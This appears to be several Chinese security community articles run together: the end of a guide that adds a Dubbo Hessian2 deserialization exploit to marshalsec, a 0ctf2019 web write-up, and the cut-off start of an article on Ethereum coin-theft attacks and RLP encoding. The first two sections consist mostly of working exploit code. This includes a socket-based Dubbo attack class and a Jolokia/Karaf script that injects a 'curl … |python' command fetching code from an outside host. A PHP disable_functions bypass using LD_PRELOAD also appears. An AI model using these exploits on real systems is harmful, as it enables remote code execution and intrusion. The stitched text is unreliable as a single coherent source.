else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
//...
}
public class Binding extends NameClassPair {
/...
public String toString() {
return super.toString() + ":" + getObject();
}
/...
}
public static final class ReadOnlyBinding extends Binding {
public Object getObject() {
try {
return ContextUtil.resolve(this.value, this.getName(), (Name)null, this.context);
} catch (NamingException var2) {
throw new RuntimeException(var2);
}
}
}
public final class ContextUtil {
public static Object resolve(Object value, String stringName, Name parsedName, Context nameCtx) throws NamingException {
if (!(value instanceof Reference)) {
return value;
} else {
Reference reference = (Reference)value;
if (reference instanceof SimpleReference) {
try {
return ((SimpleReference)reference).getContent();
} catch (NamingException var6) {
throw var6;
} catch (Exception var7) {
throw (NamingException)(new NamingException("Could not look up : " + stringName == null ? parsedName.toString() : stringName)).initCause(var7);
}
} else {
try {
if (parsedName == null) {
parsedName = NAME_PARSER.parse(stringName);
}
return NamingManager.getObjectInstance(reference, parsedName, nameCtx, nameCtx.getEnvironment());
} catch (NamingException var8) {
throw var8;
} catch (Exception var9) {
throw (NamingException)(new NamingException("Could not look up : " + stringName == null ? parsedName.toString() : stringName)).initCause(var9);
}
}
}
}
}
1. Hessian反序列化HashMap
2. put反序列化的两个对象元素（HotSwappableTargetSource）至反序列化的HashMap，因为两个对象元素hashCode一致，所以执行其equals方法
3. 其中一个对象元素是XString，XString的equals方法会执行其封装的对象ReadOnlyBinding的toString方法
4. ReadOnlyBinding包装的对象是Reference引用对象，引用一个远程恶意class，当ReadOnlyBinding执行toString方法时，在其方法内会调用其getObject，从而加载远程恶意class执行
* * *
### 0x03 dubbo-hessian2 exploit骨架加入
上一章，我们简单的讲解了XBean这个gadget的触发原理，那么，这一章，我将会讲解如何在marshalsec里面加入dubbo的exploit。如果读过我写的[《dubbo源码浅析-默认反序列化利用之hessian2》](https://www.anquanke.com/post/id/197658)朋友，就会知道dubbo默认是使用了hessian2作为序列化和反序列化的工具，如果没看过的朋友，我希望你看到这里的时候可以花一丢丢时间去看看。
首先，我们如果要攻击一个dubbo服务，前提我们是得先找到这个dubbo服务的host和port，那么，我们加入这个dubbo-hessian2的exploit骨架，就得考虑参数化这些动态数据。
#### HessianBase
因为我们将要做的exploit只是加入XBean这个gadget的利用，所以，我们就不能继续沿用HessianBase了，因此，创建一个新的类HessianBase2，实现XBean接口，其余的代码和HessianBase保持一致
public abstract class HessianBase2 extends MarshallerBase<byte[]>
implements XBean {
/**
* {@inheritDoc}
*
* @see MarshallerBase#marshal(Object)
*/
@Override
public byte[] marshal ( Object o ) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
AbstractHessianOutput out = createOutput(bos);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(o);
out.close();
return bos.toByteArray();
}
/**
* {@inheritDoc}
*
* @see MarshallerBase#unmarshal(Object)
*/
@Override
public Object unmarshal ( byte[] data ) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(data);
AbstractHessianInput in = createInput(bis);
return in.readObject();
}
/**
* @param bos
* @return
*/
protected abstract AbstractHessianOutput createOutput ( ByteArrayOutputStream bos );
protected abstract AbstractHessianInput createInput ( ByteArrayInputStream bos );
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
/**
* {@inheritDoc}
*
* @see SerializerFactory#getObjectSerializer(Class)
*/
@Override
public Serializer getObjectSerializer ( Class<?> cl ) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
/**
* {@inheritDoc}
*
* @see SerializerFactory#getSerializer(Class)
*/
@Override
public Serializer getSerializer ( Class cl ) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
if ( serializer instanceof WriteReplaceSerializer ) {
return UnsafeSerializer.create(cl);
}
return serializer;
}
}
}
#### Hessian2
因为Hessian中的两个流创建方法，返回的流对象都是hessian相关的，而不是hessian2的，因此，我们这里新添加一个类Hessian2，实现HessianBase2，用于重写输出输入流创建方法，用于创建hessian2流对象
public class Hessian2 extends HessianBase2 {
/**
* {@inheritDoc}
*
* @see marshalsec.AbstractHessianBase#createOutput(ByteArrayOutputStream)
*/
@Override
protected AbstractHessianOutput createOutput ( ByteArrayOutputStream bos ) {
return new Hessian2Output(bos);
}
/**
* {@inheritDoc}
*
* @see marshalsec.AbstractHessianBase#createInput(ByteArrayInputStream)
*/
@Override
protected AbstractHessianInput createInput ( ByteArrayInputStream bos ) {
return new Hessian2Input(bos);
}
public static void main ( String[] args ) {
new Hessian2().run(args);
}
}
#### DubboHessian
在根目录加入dubbo-hessian2的exploit入口类
public class DubboHessian extends Hessian2 {
private String host;
private int port;
public DubboHessian(String[] args) {
int argoff = 0;
while (argoff < args.length && args[argoff].charAt(0) == '-') {
if (args[argoff].equals("--attack")) {
argoff++;
host = args[argoff++];
port = Integer.parseInt(args[argoff++]);
} else {
argoff++;
}
}
}
private void attack(byte[] bytes) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
ByteArrayOutputStream hessian2ByteArrayOutputStream2 = new ByteArrayOutputStream();
ByteArrayOutputStream hessian2ByteArrayOutputStream3 = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
Hessian2ObjectOutput out3 = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream3);
out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
out.writeUTF("com.threedr3am.learn.server.boot.DemoService");
// out.writeUTF("com.threedr3am.learn.dubbo.DemoService");
out.writeUTF("1.0");
out.writeUTF("hello");
//todo 方法描述不需要修改，因为此处需要指定map的payload去触发
out.writeUTF("Ljava/util/Map;");
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
hessian2ByteArrayOutputStream2.write(bytes);
// out.writeObject(o);
out3.writeObject(new HashMap());
out3.flushBuffer();
if (out3 instanceof Cleanable) {
((Cleanable) out3).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + hessian2ByteArrayOutputStream2.size() + hessian2ByteArrayOutputStream3.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byteArrayOutputStream.write(hessian2ByteArrayOutputStream2.toByteArray());
byteArrayOutputStream.write(hessian2ByteArrayOutputStream3.toByteArray());
byte[] poc = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket(host, port);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(poc);
outputStream.flush();
outputStream.close();
}
@Override
public byte[] marshal(Object o) throws Exception {
byte[] bytes = super.marshal(o);
attack(bytes);
return bytes;
}
public static void main(String[] args) {
new DubboHessian(args).run(args);
}
}
这个类，有几处关键地方：
1. 构造方法处对参数--attack进行处理，读取其后的两个参数，作为dubbo靶机服务的host和port
2. 重写marshal方法，在其中执行父类marshal方法生成序列化数据后，使用其数据执行attack方法对dubbo服务进行攻击
3. attack方法中与dubbo服务进行了tcp连接，然后把序列化数据组织成dubbo协议数据包发送出去
因为在构造方法对参数--attack和其后紧跟着的两个参数进行了解析读取，那么，在原有的参数解析处marshalsec.MarshallerBase#run，就需要跳过这几个参数
{
/**
* @param args
*/
protected void run ( String[] args ) {
try {
//...
while ( argoff < args.length && args[ argoff ].charAt(0) == '-' ) {
//...
else if (args[ argoff ].equals("--attack")) {
argoff+=3;
}
//...
}
//...
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
}
并且因为权限检查的问题，会导致无法建立网络连接，因此对权限检查的地方进行了一点小修改：
marshalsec.MarshallerBase#doRun
{
private void doRun ( GadgetType type, boolean test, boolean verbose, boolean throwEx, EscapeType escape, String[] gadgetArgs )
throws Exception, IOException {
T marshal;
try {
if (test) {
System.setSecurityManager(new SideEffectSecurityManager());
}
//...
}
finally {
System.setSecurityManager(null);
}
//...
}
}
此处修改可能不太优雅，后续有待进行优化。
* * *
### 0x04 hessian->hessian2 payload测试
最后，在加入了dubbo-hessian2的exploit骨架之后，先对我们加入的XBean gadget进行测试
#### 1\. 启动dubbo服务demo
启动一个dubbo协议，端口为20881的dubbo服务，此处我使用的是dubbo-2.6.3进行测试
##### maven依赖
<properties>
<spring.version>4.3.5.RELEASE</spring.version>
</properties>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>dubbo</artifactId>
<version>2.6.3</version>
<exclusions>
<exclusion>
<artifactId>commons-logging</artifactId>
<groupId>commons-logging</groupId>
</exclusion>
<exclusion>
<artifactId>spring</artifactId>
<groupId>org.springframework</groupId>
</exclusion>
<exclusion>
<artifactId>spring-context</artifactId>
<groupId>org.springframework</groupId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.zookeeper</groupId>
<artifactId>zookeeper</artifactId>
<version>3.4.13</version>
</dependency>
<dependency>
<groupId>org.apache.curator</groupId>
<artifactId>curator-recipes</artifactId>
<version>4.2.0</version>
<exclusions>
<exclusion>
<artifactId>zookeeper</artifactId>
<groupId>org.apache.zookeeper</groupId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.15</version>
</dependency>
##### service
public interface DemoService {
String hello();
}
public class DemoServiceImpl implements DemoService {
public String hello() {
return "hello!";
}
}
##### xml配置
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">
<!-- 提供方应用信息，用于计算依赖关系 -->
<dubbo:application name="dubbo-service" />
<!-- 使用multicast广播注册中心暴露服务地址 -->
<!-- <dubbo:registry address="multicast://224.5.6.7:1234" /> -->
<!-- 使用zookeeper注册中心暴露服务地址 -->
<dubbo:registry address="zookeeper://127.0.0.1:2181" />
<!-- 用dubbo协议在20881端口暴露服务 -->
<dubbo:protocol name="dubbo" port="20881" />
<!-- 声明需要暴露的服务接口 -->
<dubbo:service interface="com.threedr3am.learn.dubbo.DemoService"
ref="demoService" />
<!-- 和本地bean一样实现服务 -->
<bean id="demoService" class="com.threedr3am.learn.dubbo.DemoServiceImpl" />
</beans>
##### main
public class Main {
public static void main(String[] args) {
new ClassPathXmlApplicationContext("dubbo-provider.xml");
while (true);
}
}
#### 2\. 打包marshalsec并执行
在执行marshalsec前，我们得先打包一个恶意class（不需要package名），ExecObject.class放到本地80端口的web资源服务器
前面第一章我们就讲述了如何使用maven打包，接着，我们执行jar包，对dubbo服务进行攻击
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.DubboHessian --attack 127.0.0.1 20881 XBean http://127.0.0.1:80/ ExecObject
执行后发现...预期的计算器没弹出来，在经过排查后发现，是因为XBean用到的Spring
AOP的触发类HotSwappableTargetSource在反序列化时抛异常了，具体原因是构造方法选择以及实例化的时候，参数传入了非基本类型，因此变成了null，导致在HotSwappableTargetSource构造方法的断言处抛异常了！
#### 3\. 修改XBean
前面说了，因为XBean用到的Spring
AOP的触发类HotSwappableTargetSource在反序列化时抛异常了，所以，我们是不是可以换一个触发类？
答案是可以的，去掉HotSwappableTargetSource，利用服务端找不到service时抛远程异常，导致异常输出时，执行了gadget的toString方法，从而触发，触发栈：
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:557, AbstractMap (java.util)
valueOf:2994, String (java.lang)
toString:4571, Arrays (java.util)
toString:209, RpcInvocation (com.alibaba.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:213, DubboProtocol (com.alibaba.dubbo.rpc.protocol.dubbo)
reply:79, DubboProtocol$1 (com.alibaba.dubbo.rpc.protocol.dubbo)
received:114, DubboProtocol$1 (com.alibaba.dubbo.rpc.protocol.dubbo)
received:175, HeaderExchangeHandler (com.alibaba.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (com.alibaba.dubbo.remoting.transport)
run:57, ChannelEventRunnable (com.alibaba.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
这是一个新的触发点，大家挖gadget可以往这个方向去看！
修改后的XBean2：
public interface XBean2 extends Gadget {
@Args ( minArgs = 2, args = {
"codebase", "classname"
}, defaultArgs = {
MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass
} )
default Object makeXBean(UtilFactory uf, String[] args) throws Exception {
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("foo", args[ 1 ], args[ 0 ]);
ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);
return uf.makeToStringTriggerStable(binding); // $NON-NLS-1$
}
}
接着修改HessianBase2的实现类为XBean2：
public abstract class HessianBase2 extends MarshallerBase<byte[]>
implements XBean2 {
//...
}
#### 4\. attack结果
如图所示：
经过测试发现：
1. 暂时测试Spring、Spring-boot环境可打的有 Rome, Resin
2. 能打Spring环境的有SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean2, Resin
* * *
### 参考
dubbo源码浅析-默认反序列化利用之hessian2：<https://www.anquanke.com/post/id/197658>
* * *
### PS
Spring环境，应该有版本限制，但是版本符合范围内，用SpringAbstractBeanFactoryPointcutAdvisor这个gadget打非常好用，最好利用的一个gadget。
最近发现一种dubbo的新打法，不过有点条件限制，但是一点都不鸡肋。文章应该会写，但是短时间内不会发出去了，用来CTF出题岂不更妙哉？ | 社区文章 |
# 0ctf2019 web writeup
rr师傅的题太棒了
## web1
谷歌可知道ghost pepper又名jolokia，看到这个就想到之前的jolokia敏感api漏洞
`https://paper.seebug.org/850/`
直接访问发现有个需要登录使用提示karaf，karaf登录，发现404
访问jolokia返回一堆json，证明猜测正确，接下来看看有没有可以直接利用的类/jolokia/list
，因为没有内置tomcat所以无法使用realm这个类进行rce，当然因为不是spring所以也没有reloadurl这个方法，那很明显要自己去挖一个构造链
这里列出了所有可用的mbean，看了一会感觉最有可能出问题的就这几个类
"area=jmx,name=root,type=security":{
"op":{
"canInvoke":Array[4]
},
"class":"org.apache.karaf.management.internal.JMXSecurityMBeanImpl",
"desc":"Information on the management interface of the MBean"
},
这里有个canInvoke如何可以反射调用任意方法的话可能存在rce
"name=root,type=instance":{
"op":{
"stopInstance":Object{...},
"changeRmiRegistryPort":Object{...},
"createInstance":Array[2],
"cloneInstance":Object{...},
"destroyInstance":Object{...},
"changeSshPort":Object{...},
"changeSshHost":Object{...},
"renameInstance":Array[2],
"startInstance":Array[3],
"changeJavaOpts":Object{...},
"changeRmiServerPort":Object{...}
},
"attr":{
"Instances":Object{...}
},
"class":"org.apache.karaf.instance.core.internal.InstancesMBeanImpl",
"desc":"Information on the management interface of the MBean"
}
这里有个instance如果可以通过在creatinstance的时候注入参数，在startinstance存在jndi或者命令注入的话可以rce
"connector":{
"name=rmi":{
"op":{
"stop":Object{...},
"start":Object{...},
"toJMXConnector":Object{...}
},
"attr":{
"Active":Object{...},
"Address":Object{...},
"Attributes":Object{...},
"ConnectionIds":Object{...},
"MBeanServerForwarder":{
"rw":false,
"type":"javax.management.remote.MBeanServerForwarder",
"desc":"Attribute exposed for management"
}
},
"class":"javax.management.remote.rmi.RMIConnectorServer",
"desc":"Information on the management interface of the MBean"
}
}
这里有个rmi服务，如果可以传入一个jndi url的话可以进行jndi注入
"osgi.core":{
"framework=org.eclipse.osgi,service=permissionadmin,uuid=99d56034-8945-4f47-8f9f-2c0ea0475eb3,version=1.2":Object{...},
"framework=org.eclipse.osgi,type=packageState,uuid=99d56034-8945-4f47-8f9f-2c0ea0475eb3,version=1.5":Object{...},
"framework=org.eclipse.osgi,type=bundleState,uuid=99d56034-8945-4f47-8f9f-2c0ea0475eb3,version=1.7":Object{...},
"framework=org.eclipse.osgi,type=framework,uuid=99d56034-8945-4f47-8f9f-2c0ea0475eb3,version=1.7":{
"op":{
"stopBundle":Object{...},
"resolve":Object{...},
"installBundleFromURL":Object{...},
"refreshBundlesAndWait":Object{...},
"refreshBundle":Object{...},
"resolveBundle":Object{...},
"startBundle":Object{...},
"refreshBundles":Object{...},
"refreshBundleAndWait":Object{...},
"updateBundle":Object{...},
"installBundle":Object{...},
"updateBundleFromURL":Object{...},
"restartFramework":Object{...},
"updateFramework":Object{...},
"shutdownFramework":Object{...},
"setBundleStartLevels":Object{...},
"getDependencyClosure":Object{...},
"getProperty":Object{...},
"installBundlesFromURL":Object{...},
"startBundles":Object{...},
"resolveBundles":Object{...},
"updateBundlesFromURL":Object{...},
"setBundleStartLevel":Object{...},
"updateBundles":Object{...},
"installBundles":Object{...},
"uninstallBundle":Object{...},
"uninstallBundles":Object{...},
"stopBundles":Object{...}
},
"attr":Object{...},
"class":"org.apache.aries.jmx.framework.Framework",
"desc":"Information on the management interface of the MBean"
}
这里存在一些从url安装bundles的操作，可能存在ssrf或者rce的可能
当然这里感觉最有危险的应该是这个connector 这个mbean
这里如果address可控的话我们貌似可以直接构造一个jndi的注入，那我们来尝试一下
test3 = {
"mbean": "connector:name=rmi",
"type": "WRITE",
"attribute": "Address",
"value": "http://xxxxxx.xxxxx.xxx.xx.x"
}
#expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
expoloit = [test3]
for i in expoloit:
rep = req.post(url, json=i,headers=headers)
#print rep.content
pprint(rep.json())
返回400
查了一下资料发现时jndi的url格式不正确，那我们稍作修改一下
test3 = {
"mbean": "connector:name=rmi",
"type": "WRITE",
"attribute": "Address",
"value": "service:jmx:rmi:///jndi/rmi://xxxx.xx.xxx.xx"
}
#expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
expoloit = [test3]
for i in expoloit:
rep = req.post(url, json=i,headers=headers)
#print rep.content
pprint(rep.json())
返回404
结果address是read_only属性，这里就走弯路了，想了好久以为有方法可以绕过read_only，结果还是没找到。
这条路断了我们想一下别的mbean，然后我就来到了
`org.apache.karaf:area=jmx,name=root,type=security`
这里有一个caninvoke方法很可疑，跟进去源码分析了一下
public boolean canInvoke(String objectName) throws Exception {
return this.canInvoke((BulkRequestContext)null, objectName);
}
public boolean canInvoke(String objectName, String methodName) throws Exception {
return this.canInvoke((BulkRequestContext)null, objectName, (String)methodName);
}
public boolean canInvoke(String objectName, String methodName, String[] argumentTypes) throws Exception {
return this.canInvoke((BulkRequestContext)null, objectName, methodName, argumentTypes);
}
private boolean canInvoke(BulkRequestContext context, String objectName) throws Exception {
return this.guard == null ? true : this.guard.canInvoke(context, this.mbeanServer, new ObjectName(objectName));
}
private boolean canInvoke(BulkRequestContext context, String objectName, String methodName) throws Exception {
return this.guard == null ? true : this.guard.canInvoke(context, this.mbeanServer, new ObjectName(objectName), methodName);
}
private boolean canInvoke(BulkRequestContext context, String objectName, String methodName, String[] argumentTypes) throws Exception {
ObjectName on = new ObjectName(objectName);
return this.guard == null ? true : this.guard.canInvoke(context, this.mbeanServer, on, methodName, argumentTypes);
}
public TabularData canInvoke(Map<String, List<String>> bulkQuery) throws Exception {
TabularData table = new TabularDataSupport(CAN_INVOKE_TABULAR_TYPE);
BulkRequestContext context = BulkRequestContext.newContext(this.guard.getConfigAdmin());
Iterator var4 = bulkQuery.entrySet().iterator();
while(true) {
while(var4.hasNext()) {
Entry<String, List<String>> entry = (Entry)var4.next();
String objectName = (String)entry.getKey();
List<String> methods = (List)entry.getValue();
if (methods.size() == 0) {
boolean res = this.canInvoke(context, objectName);
CompositeData data = new CompositeDataSupport(CAN_INVOKE_RESULT_ROW_TYPE, CAN_INVOKE_RESULT_COLUMNS, new Object[]{objectName, "", res});
table.put(data);
} else {
Iterator var8 = methods.iterator();
while(var8.hasNext()) {
String method = (String)var8.next();
List<String> argTypes = new ArrayList();
String name = this.parseMethodName(method, argTypes);
boolean res;
if (name.equals(method)) {
res = this.canInvoke(context, objectName, name);
} else {
res = this.canInvoke(context, objectName, name, (String[])argTypes.toArray(new String[0]));
}
CompositeDataSupport data = new CompositeDataSupport(CAN_INVOKE_RESULT_ROW_TYPE, CAN_INVOKE_RESULT_COLUMNS, new Object[]{objectName, method, res});
try {
table.put(data);
} catch (KeyAlreadyExistsException var15) {
LOG.warn("{} (objectName = \"{}\", method = \"{}\")", new Object[]{var15, objectName, method});
}
}
}
}
return table;
}
}
发现这这是做了一层是否可以反射的判断，并没有真正去反射，这里也凉了,继续找
`org.apache.karaf:name=root,type=instance`
这里我猜想能不能像之前rr师傅利用realm那样,先用craeteinstance创造一个instance，再start的时候会有jndi操作
`https://paper.seebug.org/851/`
直接上源码
public int createInstance(String name, int sshPort, int rmiRegistryPort, int rmiServerPort, String location, String javaOpts, String features, String featuresURLs) throws MBeanException {
return this.createInstance(name, sshPort, rmiRegistryPort, rmiServerPort, location, javaOpts, features, featuresURLs, "localhost");
}
public int createInstance(String name, int sshPort, int rmiRegistryPort, int rmiServerPort, String location, String javaOpts, String features, String featureURLs, String address) throws MBeanException {
try {
if ("".equals(location)) {
location = null;
}
if ("".equals(javaOpts)) {
javaOpts = null;
}
InstanceSettings settings = new InstanceSettings(sshPort, rmiRegistryPort, rmiServerPort, location, javaOpts, this.parseStringList(featureURLs), this.parseStringList(features), address);
Instance inst = this.instanceService.createInstance(name, settings, false);
return inst != null ? inst.getPid() : -1;
} catch (Exception var12) {
throw new MBeanException((Exception)null, var12.toString());
}
}
这里有两个create instance方法一个接受8个函数，一个接受9个函数
大致就是创建一个instance
public void startInstance(String name, String opts) throws MBeanException {
try {
this.getExistingInstance(name).start(opts);
} catch (Exception var4) {
throw new MBeanException((Exception)null, var4.toString());
}
}
public void startInstance(String name, String opts, boolean wait, boolean debug) throws MBeanException {
try {
Instance child = this.getExistingInstance(name);
String options = opts;
if (opts == null) {
options = child.getJavaOpts();
}
if (options == null) {
options = "-server -Xmx512M -Dcom.sun.management.jmxremote";
}
if (debug) {
options = options + " -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005";
}
if (wait) {
String state = child.getState();
if ("Stopped".equals(state)) {
child.start(opts);
}
if (!"Started".equals(state)) {
do {
Thread.sleep(500L);
state = child.getState();
} while("Starting".equals(state));
}
} else {
child.start(opts);
}
} catch (Exception var8) {
throw new MBeanException((Exception)null, var8.toString());
}
}
看到这里就明白了，可以通过createinstance传入opts，注册javaopts，然后在startinstance的时候会把javaopts拼接进入命令，那答案呼之欲出了
import requests as req
import sys
from pprint import pprint
url = sys.argv[1]
pprint(url)
headers = {'Authorization':'Basic a2FyYWY6a2FyYWY='}
test = {
"mbean":"org.apache.karaf:name=root,type=instance",
"type": "EXEC",
"operation": "createInstance(java.lang.String,int,int,int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String)",
"arguments": ['pupiles3',7001,7002,7003,'http://pupiles.com','; curl tools.f1sh.site|python;','hahaha','http://f1sh.site','http://baidu.com']
}
#"value": "service:jmx:rmi:///jndi/rmi://139.199.27.197:5000"
test1 = {
"mbean": "org.apache.karaf:name=root,type=instance",
"type": "EXEC",
"operation": "startInstance(java.lang.String)",
"arguments": ["pupiles3"]
}
test2 = {
"mbean": "org.apache.karaf:name=root,type=instance",
"type": "READ",
"attribute": "Instances"
}
expoloit = [test,test1,test2]
for i in expoloit:
rep = req.post(url, json=i,headers=headers)
#print rep.content
pprint(rep.json())
后面看了一下别人的wp，发现bundle也是可以通过构造一个恶意jar包来进行rce的
## web2
很明显 上来就给了一句话，但是要绕过disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
参考链接`https://cloud.tencent.com/developer/article/1379245`
一开始就非预期的很清晰，利用LD_PRELOAD设置为.so文件再找到一个启新进程的函数
，没禁用putenv，那找一个可以新起一个进程的就可以构造命令执行了，fuzz了一遍php.net的所有函数，终于找到了error_log，当第二个参数为1的时候会调用sendmail
import requests
import base64
url = "http://111.186.63.208:31340/"
data = {
"backdoor": ""
}
data["backdoor"] = "file_put_contents('/tmp/cfc57795f9e7a6e79e4c93c078a66938/godw1nd', base64_decode('{}'));".format(base64.b64encode(open('bypass_disablefunc.php').read()))
requests.post(url, data = data)
data["backdoor"] = "file_put_contents('/tmp/cfc57795f9e7a6e79e4c93c078a66938/godw1nd.so', base64_decode('{}'));".format(base64.b64encode(open('bypass_disablefunc_x64.so').read()))
requests.post(url, data = data)
data["backdoor"] = "include('/tmp/cfc57795f9e7a6e79e4c93c078a66938/godw1nd');"
r = requests.post(url + '?cmd=/readflag&outpath=/tmp/cfc57795f9e7a6e79e4c93c078a66938/out&sopath=/tmp/cfc57795f9e7a6e79e4c93c078a66938/godw1nd.so', data = data)
print r.content | 社区文章 |
**作者： 知道创宇404区块链安全研究团队**
**发布时间： 2018/08/01**
**更新于 2018/08/20 :** 修正了原文中的一处错误，感谢
[@None](https://www.seebug.org/accounts/profile/354f9596)在评论区的指正。
## 0x00 前言
2010年，`Laszlo` 使用 `10000` 个比特币购买了两张价值25美元的披萨被认为是比特币在现实世界中的第一笔交易。
2017年，区块链技术随着数字货币的价格暴涨而站在风口之上。谁也不会想到，2010年的那两块披萨，能够在2017年末价值 `1.9亿美元`。
以太坊，作为区块链2.0时代的代表，通过智能合约平台，解决比特币拓展性不足的问题，在金融行业有了巨大的应用。
通过智能合约进行交易，不用管交易时间，不用管交易是否合法，只要能够符合智能合约的规则，就可以进行无限制的交易。
在巨大的经济利益下，总会有人走上另一条道路。
古人的盗亦有道，在虚拟货币领域也有着它独特的定义。只有对区块链技术足够了解，才能在这场盛宴中 `偷`
到足够多的金钱。他们似那黑暗中独行的狼，无论是否得手都会在被发现前抽身而去。
`2018/03/20`,在
[《以太坊生态缺陷导致的一起亿级代币盗窃大案》[19]](https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg) 和 [《揭秘以太坊中潜伏多年的“偷渡”漏洞，全球黑客正在疯狂偷币》[20]](https://paper.seebug.org/547/)
两文揭秘 `以太坊偷渡漏洞（又称为以太坊黑色情人节事件）` 相关攻击细节后，知道创宇404团队根据已有信息进一步完善了相关蜜罐。
`2018/05/16`,知道创宇404区块链安全研究团队对 `偷渡漏洞` 事件进行预警并指出该端口已存在密集的扫描行为。
`2018/06/29`, `慢雾社区` 里预警了 `以太坊黑色情人节事件（即偷渡漏洞）`
新型攻击手法，该攻击手法在本文中亦称之为：`离线攻击`。在结合蜜罐数据复现该攻击手法的过程中，知道创宇404区块链安全研究团队发现：在真实场景中，还存在
`另外两种` 新型的攻击方式： `重放攻击` 和 `爆破攻击`，由于此类攻击方式出现在 `偷渡漏洞` 曝光后，我们将这些攻击手法统一称为
`后偷渡时代的盗币方式`。
本文将会在介绍相关知识点后，针对 `偷渡漏洞` 及 `后偷渡时代的盗币方式`，模拟复现盗币的实际流程，对攻击成功的关键点进行分析。
## 0x01 关键知识点
所谓磨刀不误砍柴功，只有清楚地掌握了关键知识点，才能在理解漏洞原理时游刃有余。在本节，笔者将会介绍以太坊发起一笔交易的签名流程及相关知识点。
### 1.1 RLP 编码
> RLP (递归长度前缀)提供了一种适用于任意二进制数据数组的编码，RLP已经成为以太坊中对对象进行序列化的主要编码方式。
`RLP` 编码会对字符串和列表进行序列化操作，具体的编码流程如下图：
在此，也以 `3.4.1节` 中 `eth_signTransaction` 接口返回的签名数据为例，解释该签名数据是如何经过 `tx` 编码后得到的。
result 字段中的 raw 和 tx 如下：
"raw": "f86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4
"
"tx": {
"nonce": "0x1",
"gasPrice": "0x2dc6c0",
"gas": "0x30d40",
"to": "0xd4f0ad3896f78e133f7841c3a6de11be0427ed89",
"value": "0x1bc16d674ec80000",
"input": "0x",
"v": "0x1b",
"r": "0xe2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663",
